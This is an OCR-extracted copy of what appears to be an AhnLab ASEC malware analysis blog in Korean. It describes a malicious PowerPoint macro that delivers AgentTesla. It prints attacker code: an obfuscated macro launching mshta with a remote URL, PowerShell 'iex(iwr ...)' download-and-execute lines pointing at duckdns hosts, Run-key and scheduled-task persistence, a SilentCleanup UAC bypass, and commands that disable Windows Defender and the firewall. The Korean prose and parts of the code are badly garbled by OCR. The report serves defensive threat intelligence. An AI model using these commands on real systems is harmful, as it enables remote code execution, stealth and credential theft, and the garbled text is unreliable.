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Sub Auto_Open( )
Debug.Print MsgBox(mPSOHT3PP(Chri(82) & Chri(69) & Chri(79) & Chr3(82) & Chr(33) & Chri(82) & Chri(108) & Chri(80) _
% Chr$(97) & Chri(101) & Chr${101) & Chr$(115) & Chr$(82) & Chry(32) & ChrE(45) & Chr$(101) & Chri(110) _
& Chr$(73) & Chr¥(116) & Chr${115) & Chr¥(108) & Chr$(97) & Chrf(32) & ChrE{108) & Chr¥{102) & Chri(79) _
% Chr$(105) & Chr$(102) & Chr$(101) & Chr${99)), vbOKCancel): returns: 1
Dim DcxzwlaClP As String
Oim LULDIOXFOD As String
Oim TFE1WZHrd As String
OcxzwlaGP = mPSOH73pPIChr3(58) & Chr$(a9) & Chr$(119) & Chr$(92) & Chry(110) & ChryC105) & Chri{111) & Chr¥(100) _
& Chr8(115) & Chr$(119) & Chr$(115) & Chr$(92) & Chr$(115) & Chr3{121) & Chr${101) & Chr$(116) _
& Chr3(51) & Chrd(109) & Chr(92) & Chre(s0) & ChrE(97) & ChrE(99) & Chri(99) & Chri(108) & Chri(46) _
)& Chri{92) & Chr§(02) & Chr3(46) & Chr(115) & Chr¢109) & Chre(116) & ChrE(104) & CAr§(32) & Chri(97) -
LULDAOXFO = mPSOHT3PPLChr$(116) & Chrd(104) & Chrd(112) & Chr$(116) & Chr¥(58) & Chr3(115) & Chr$(47) & Chri(47) _
& Chr$(97) & Chr$(104) & Chr$(97) & Chri(104) & Chr$(97) & Chr$(104) & ChrE(104) & Chr3(104) & Chr$(106) -
& Chri(64) & Chrd(109) & Chri(46) & Chri(47) & ChriC112))
TFS1WZHrd = “"rendomchrsadowkaduaowidk”
Debug.Print OcxzwlaCP
Oebug.Print LULDSOXFO
Debug.Print TFE1WZHrd
€| Debug.Print (¥BA.Shell{OcxzwlaCP + LULDIOXFO + [FLFITL))
| End Sub
| gt [EE
LULDSC S0 hitps://hahahahh @], mp, string
OcxzwlaCP “ciftwindowsWsystern32Wcalct, Wmshta © String
TFS1WZHrd “rendomchrsadowkaduaowidk” String
HH=3HoHA £ E At
ofd o3 20 2l Ml == 2 HHO= o2t Z20d, 7| &1t SUSHH mshta Z2MAE Sl 2bd
url Off H25t0] 7t AR ES MBS BCt
« 2t HFOo

“c:\windows\system32\calc\..\mshta” “hxxps://hahahahh@j.mp/rendomchrsadowkaduaowidk”
e Final URL

hxxps://download2389.mediafire.com/f68ak6xluypg/t1qm2d4ahq43wn3/2.doc

Sl ALO| S0l = 24 vbscript 7} EXHBHDY, & 37H2| BSIS SHSIC BIR|, 217(0fl Tl BHIE A
A 2 ST YYO{E AHBICH 2R ASR| F2 o uk4 HWRof ofzl et 2Tk B BOlE T
of url Off M&5t01 7t ASZES AHBIA| BTk £7H AT E S vbscript 0| % M= 0f ULk,

HXIAER| FHE2
HKEY_CURRENT_USER\ SOFTWARE\Microsoft\Windows\CurrentVersion\Run:cwdfwiiuyqw
. Tia Fof

pOwersHelL.exe -NoProfile -ExecutionPolicy Bypass -Command
i"E’x(iwr(‘hxxp://www.minpowpoin.duckdns.org/p1/2.txt”) -

useB);i’E’x(iwr(‘hxxp://www.minpowpoin.duckdns.org/fin/c2.txt’) -useB);
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[<HTML>

[<HTML>

<meta http-egquiv="Content-Type" content="text/html: charset=utf-§">
[<HERD>

<script language="VBScript">

pink = r
—useB) ;i'E'x (iwr("http://www.minpowpoin.duckdns.org/fin/c2.txt"') -useB);"

Const tpok = &HS0000001

lopaskkk = "."
Set kasodkmwm = GetCbhject ("winmomts: " & lopaskkk & "A\roothdefault:StdRegProw”)
poloaosd = M"SOFTWARE\Microsoft\Windows\CurrentVersioniRun"

akosdwdidw = "cwdfwiiuvow"”
kasodkmwm.SetS5tringValue tpok, poloaosd, akosdwdjdw, pink
set MicrosoftWINdows = GetCbhbject(StrReverse ("BOASSDF40C00-S9BDA-OD11-0FC1-22CD538F :wen™) )

MicrosoftWINdows _

kun

pink, 0
vbscript (1)
0| = Shellexecute & Solf 2 A7 =2 S5 WHO|E A5, HO|= Of2{ 2 LT &Y A7 Z210
SEEl= BHO0| = mshta £ S5l 2 url o] E5h= 7| s2 2 63200} ol e BHO{7F EHE EICE By

-

ol
-

S uwl 2 §H0| 27+SStHE
- Y A ER S5

schtasks /create /sc MINUTE /mo 63 /tn kwdwdwfdfabvco /F /tr MsHtA
hxxp://kukadunikkk@bakuzamokxxxala.duckdns.org/b1/2.txt open

args = "/create /sc MINUTE /mo &3 /tn """"kwdwdwfdfabwveco"""" /" &
nE ftr nnnn)nnnnMn & "s" g MHM g "gM g UAMMNE\ RRRNRfep kﬁk?dﬁwikkk@rﬁkﬁ amok ala.duckdns.org/bl/2. txLi e

Set Somosa = GetObject ("new:13708620-C279-11CE-A49E-444553540000"

Somosa _

,23TgS

r

e

.

StrReverse ("n"4Me4Mpiingn)

0
vbscript (2)
ORX|22 2, 27(0f| 2f4d mshta HHO{E M EICt BX|AER| A2 HHO{ = of2f et LTt sl HE
Ol= 7|0l SEE MELA XS 2 W= =5 50 XY S url 2 H 50| 27HsSTIHCL

YRAE AR

HKEY_CURRENT_USER\ SOFTWARE\Microsoft\Windows\CurrentVersion\Run:pilodkis

o mshta HZ 0]

MsHTa hxxp://www.starinxxxgkular.duckdns.org/s1/2.txt
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r = StrReverse("s")

T StrReverse ("HM")

] StrReverse ("H")

tu = StrReverse ("I")

X = StrReverse("""")

ha = S5trReverse("a")

culik = StrRewverse("""")

cale = x +m+r+p + tu + ha + culik
Con=st halaluya = &HB0000001

magolia = "."

Set Pologachi = GetObject ("winmomts:%4" & magolia & "‘roothdefawlt:S5tdRegProv")
threefifty = "SO0FTWARE\Microsoft\Windows\CurrentVersion\Run"

Magachuchugaga = "pilodkis"™

pathanogalulu = calc + """http://www.starinxxxgkular.duckdns.org/s1/2.cxt™""

Pologachi.SetStringValue halaluya, threefifty, Magachuchugaga, pathanogalulu

window.resizelo 0, 0O
gelf.close

vbscirpt (3)

20| M A= 8t vbscript 0| M A== R d BEHOl= F 702wl off HHE A =5tH, Ztwl o = THE
5 m]

7|52 $8sts oby THeldl YYo{7t EAYSIC T4 B0 212 TS A U anti-ay, uac
bypass 52| 7152 S EICh TIX HE url oM MBS/ = Tl O o Shl MY TS 2=
St 7|52 S8 25| Hlo|Uz| s ofe 9t 242 HEHZ EBHe, grip 2 S8 215 s HI = of A
Beic

FUNCTION COMBINEMEANINGSCOBOLTPOTASSIUM (§IARWBQIPASKBAMAGSWQIARDHRASNDAS)

$IARWBQT PASKEAMAGSWQIARDHRASNDAS = § ($IARWEQIPASKBAMAGSWQIARDHRASNDAS -join [Environment]::NewLine)
$IARWBQTPASKEAMAGSWQIARDHRASNDASQ = [string]::join("", ($IARWBQIPASKBAMAGSWQIARDHRASNDAS . Split (" n")))
return $TARWBQIPASRBAMAGSWQIARDHRASNDASQ

}
[byte[]] $nona = @(31,139,8,0,0,0,0,0,4,0,20

ol =l of4 Hlo|d2|

¢t 22 "WEHZE & 270 2| HlO|H{ 2|7t EXHSt=H], Stt= 2 @91 E & St= payload 0|0 LIT{X| Of
Lt= payload & T4 ZZ M| A0f QIR MSH= 7|52 s eltt. of2f YO E Salf ofd vio|HE|7F 2
g0, c|agE A H-IIKH Sl mhl Of projFUD.alosh_rat 2| Execute M| & E% AoliSt= Hg &olst %U-_—f
Z
o

CC
Hl EPOE'% eIxt2 ’é’%‘?ﬂlk

[byte[]] SRSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-DecompressedByteArray $nona
[byte[]] SRDSPGTFHYGUJHRGYPTDRSRDTFYGJUHRDDRTFYG =Get-DecompressedBytelrray $STRDYFUGTHUYTYRTESRDYUGIRI

|$FCCHIBRKHVGCFHIVBENBHVGIB = D4FDSCSB9266824C4EEFRWECIURWDQWOIDUQW3S9CE3E0C69FD3FARG ~TvpeName 'Sv
SFGCHJ'BRHVGCFHJ\.TBRNBEVGJB

orM Hio|H2| 2=

-1 o
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M E| = Execute H| A== 02 2F 26204, aspnet_compiler.exe ZTZM|AE MM = FHK Syl o S 9l
245101 o4 #1915 SBBHCE Ol QUMM sl U S HEQEE o T =0l AgenTesla 2 I
C}.

[Method mp | {Method Imp | Optio

startupinfarmat ion;

payload,

= i url O A A3 | = mhelal
wﬂﬂQMEgaEWﬂuzz
=

0 2l=2 AlZF 20 5

Function metay

{

if([Svstem.I0.File]: :Exists("C:“\Program Files“ESET\ESET Securitv'ecmds.exe")){
elseif([Sv=stem.I0.File]: :Exists("C:\Users\Public\commander.vbs")}){

Eemove-Item —-Path C:\Users\Publich\commander.vbs -Force

}

start-sleep -=

New-Item -Path C:\Users\Public\commander.vbs -ItemType File
Set-ItemProperty —-Path C:\Users\Publich\commander.vbs -Hame IsReadOnly -Value 5True
Ldd-Content -Path C:\Users\Public\commander.vbs -Value 'H4 = " -nologo "' -Force

Comola.ps1 L} 2 http:/www.google.com 0| HE5H0 LI22EE|= Ho AFEHE R, B4 M Z0| EX
Ste 24 oM SRV M| K| 9= E Bt
pdefender = 'ClEFE35 (% e

BSystemSettingsBroker =
if{{Hew-Chiect $System5ett1ngsﬁroker} "

Comola.ps1 Tt A A

HALCHA WAl Z2 00| H2

Al o

ofzh 2t Ztt.

rr

— C:\Program Files\ESET\ESET Security\ecmds.exe
— C:\Program Files\Avast Software\Avast\AvastUI.exe

— C:\Program Files\Common Files\McAfee\Platform\McUICnt.exe
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— C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
— C:\Program Files\AVG\Antivirus\AVGUI.exe

84l 2 80| ZRYSHA| o B2, OFHSH 22 oH 7L S EICH T ATRE BHAO| M

[=] — o
0f 2} ofof| chel 42 Ot 2F ALt

g mtd 2 SYEXAER| 4t2 HESH= e BE07F ZeE0 U2, AR AEE| gts HESH
of 2= Eot &4 HAIX| & v|#d kst 2t

HE 5= 2l X aEE|
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Security and
Maintenance\Checks]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Security and
Maintenance\Checks{01979c6a-42fa-414c-b8aa-eee2c8202018}.check.100]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Security and
Maintenance\Checks{01979c6a-42fa-414c-bBaa-eee2c8202018}.check.101]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Security and
Maintenance\Checks{088E8DFB-2464-4C21-BAD2-FOAA6DB5D4BC}.check.0]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Security and
Maintenance\Checks{11CD958A-C507-4EF3-B3F2-5FDODFBD2C78}.check.101]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Security and
Maintenance\Checks{134EA407-755D-4A93-B8A6-F290CD155023}.check.8001] 2| C}%=

HXAEE|HE

2. C:\Users\Public\Cola.ps1

ol

& ot 2 UAC bypass 7| s & 8t SID £ HAFSH] 22| XM & 2, “C:\Users\Public\common.vbs”
il g ARt #E2|AH7Eotd B2, 2l =9 AMH|AQ SilentCleanup 2t 2 0| 25101 ABHE &S BiC,
SilentCleanup MH|A = ASA| XS 22 A5

At ofuf 2td H= %windir%

Het THUOI M = BHE 2 of2f ot 2

njo
i
N

bal
ofr
>
40

Aot= GHO E USE AR Z ™AL & U

2 £ SilentCleanup A{H|AE A|ZHSICE

ol
°
=
N

- EdHsHE

powershell -ep bypass -w h $PSCommandPath;
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if{(({[Sy=stem.S5ecurity.Principal.WindowsIdentity] ::GetCurrent () ) .groups -match "5-1-5-32-5447)) {

lerart C:\Users\Pubklic\common.vbs

} else {
Smeta = "
SName = "
$Value = "p =h
Set-ItemProperty -Path $meta -MName $name -Values $Value
#Depending on the performance of the machine, some sleep time may be regquired before or after =schtasks
schtasks frun /tn \Microsoft\Windows%DiskCleanup\SilentCleanup /I | Cut-Null
Remove-ItemProperty -Path $meta -Name $name

1 -ep bypass -w h $PS5CommandPath;#"

UAC Bypass

3. C:\Users\Public\Tackel.ps1

tn

off e ok < C|EIE E H| 824 slst=
2 A2 =2 MH5I0q, AgentTesla 7} €l
=

MIATF ZetE|0] QICH EESH SAE 1l B4 2l NET Framework 3.5 7|5 nt MX|E 8 stCt.

o0

3
e
mn
M«
o

=
spnet_compiler.exe T2 M|A L OFM SHR| | AIRE| = =
ol A S

m

e AR ClHC oL AE LU ZZMA
C:\
D:\
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Msbuild.exe
C:\Windows\System32\kernel32.dll
explorer.exe
aspnet_compiler.exe
Mshta.exe
powershell.exe 2| CtZ=

« A= ClHE H|EdS
New-ItemProperty -Path HKLM:Software\Microsoft\Windows\Current Version\policies\system -Name
EnableLUA -PropertyType DWord -Value 0
Set-MpPreference -PUAProtection disable
Set-MpPreference -HighThreatDefaultAction 6
Set-MpPreference -ModerateThreatDefaultAction 6
Set-MpPreference -LowThreatDefaultAction 6
Set-MpPreference -SevereThreatDefaultAction 6
Set-MpPreference -ScanScheduleDay 8
netsh advfirewall set allprofiles state off

- SAE O HE
n66.254.114.41 virusscan.jotti.org

=2 Ciplc] &8, SAE T W, Syl Zajelgl3 X

4. C:\Users\Public\common.vbs

ol
on

H

f I} 2 Tackel.psl, cooki.psl It S AISHGIC},
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5. C:\Users\Public\Chrome.vbs

_glg
oo

P I 2 Cola.psl Tt S AISH ST},

| ZH O 2 Chrome.vbs THU0| A EICE 0|5 £7} THUSO| £XPHO 2 AE|0f WAl T2 I3 ZA}
20 UAC Bypass, 21 E2 CIHIC| B ZA5H S £V} ob T=0| MYS 98t BAS M5 EL

Ofif PPT Tt 2 ZHARE| RESI| WS T T U CHYSHOHY 7|50| 7tEl0] RE S T ULk ALS
RS2 X7 S2HE DU WS KON, 2Mol ZetEl oA tjARE AHEHK U= 8
Of BiCt.

[zhed ZIEh

e Downloader/PPT.Generic
Trojan/VBS.Runner
Trojan/PowerShell.Bypass
Trojan/PowerShell.Disabler

(& =IEH

e Execution/MDP.Mshta.M3546

AhnLab V3 Endpoint Security 9.0
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AhnLab

Outlook.exe £

Z| 2 ASEC EMEI2 # &5 RZ2E 1 U= ofd PPT ofo| iy S = QISIRICE 7| E1 S USHA|
iz

mshta.exe £ 0| 235}0] &t AFZIEE AlSHT
f

XEH2E RER|= D9 ZQE /9| ofd RO - ASEC BLOG

|

R|had, ofeff o] ZAES Safl PPTuiY S OH7HA 2 5t0] R Z 5= fd F =0 s 2708k B QUCE
ASEC 2ME 2 ot S P& 20K = X &5 = A S &elst
0f 0| E H2[2] Stet 430l 270 BH LHE2 mhe| Z QI E0| Z o=l i3 27 A =M mshta.exeE 0| &304
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powershell.exe/wscript.exeE 0|28t TEM|A T} FIHE|0 ECHH EX&6H Al Zdo| EXo|2tD & 5= UL}
V...

AhnL_gb

-_—=

oA o HEE PPT 0 2 Sl FE | = AgentTesla !! - ASEC BLOG

ASEC 422 T 40 Qoil 244 Th9| QI (< PPT) T 0| H
CIREED S&sts A2 ASECEETIE Solf X|ISHo =R
o

— -
oo, 7| Z0f| AISUE HHES =St Ao| SEFHol2tn & =

5o /=
7R HHAO A T AH| O LEX] ©F
Cl K|t 20204 7210l ASECEZ 0|

Sl A= SHlotict. ofd 2

A

~

r
27l 8L B(‘AgentTesla &M A S ZLH0M| OfEA| REE T JAL?)2 SHAL7} Pastebin MH|AS AHRS}
2oll A7HEHHB(ZMIE FRIM ZH LA AL B Lok...

=5 =FH o[d Mo o zhel ZIE(*PPT) utd 0| HF =0 =S Atal|7t 2l =10 Ut

2l0f| o] =
ASEC M El0] M= 2|2 0|21t B WAIS S5 AgentTesla?} 5 Z A XS TAH5L0f 0[] iz
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2|2fgtet s 2o M= of2f E2AXME SHRlHME 2 18 YEREY AHE T E azorultV} O Lof| HEE

PPTE Sdll FEE|QLCE (ol 21 E =1 : https://appriver.com/resources/blog/january-2020/powerpoint-malware-

references-drake-lyrics-dro...

MD5

199afc572f448386b8a72f872b64778¢

35b2343da6d21a5cede2751026be78f8

61ccldac681dfcbcd8781a498684d434

79106a7027e6bf3aff964ccf694d99tb

8e7581085b48c219c5fafdf0868a644b

F 7} loCE ATIPO|AM XS E L|CE

URL

http[:]//bakuzamokxxxala[.]duckdns[.]org/b1/2[.]txt
http[:]//www/[.]Jminpowpoin[.]duckdns[.]org/fin/c2[.]txt
http[:1//www/[.]starinxxxgkular[.]duckdns[.]org/s1/2[.]txt
https[:]//appriver[.]Jcom/resources/blog/january-2020/powerpoint-malware-references-drake-lyrics-dro
https[:]//download2389[.Jmediafire[.]Jcom/f68ak6xluypg/t1qm2d4ahq43wn3/2[.]doc
F 7} loCE ATIPO|A XS E L|C}

AhnLab TIPE T =5}A| ZH10C X UM 24 SEE FIIH2E oI5t = JUSLICL AtM[et W&
==

M2 £
2 of2l HiLH & 2E5t0] &I 2M 2.

AhnLab TIP

QFEe| AHE=E PR el A0t v AR E-kﬂﬁ

atip.ahnlab.com

Page 11 of 12


https://appriver.com/resources/blog/january-2020/powerpoint-malware-references-drake-lyrics-dro%E2%80%A6
https://appriver.com/resources/blog/january-2020/powerpoint-malware-references-drake-lyrics-dro%E2%80%A6
https://atip.ahnlab.com/
https://atip.ahnlab.com/

https://asec.ahnlab.com /ko/29133/

Source: https://asec.ahnlab.com/ko/29133/

Page 12 of 12



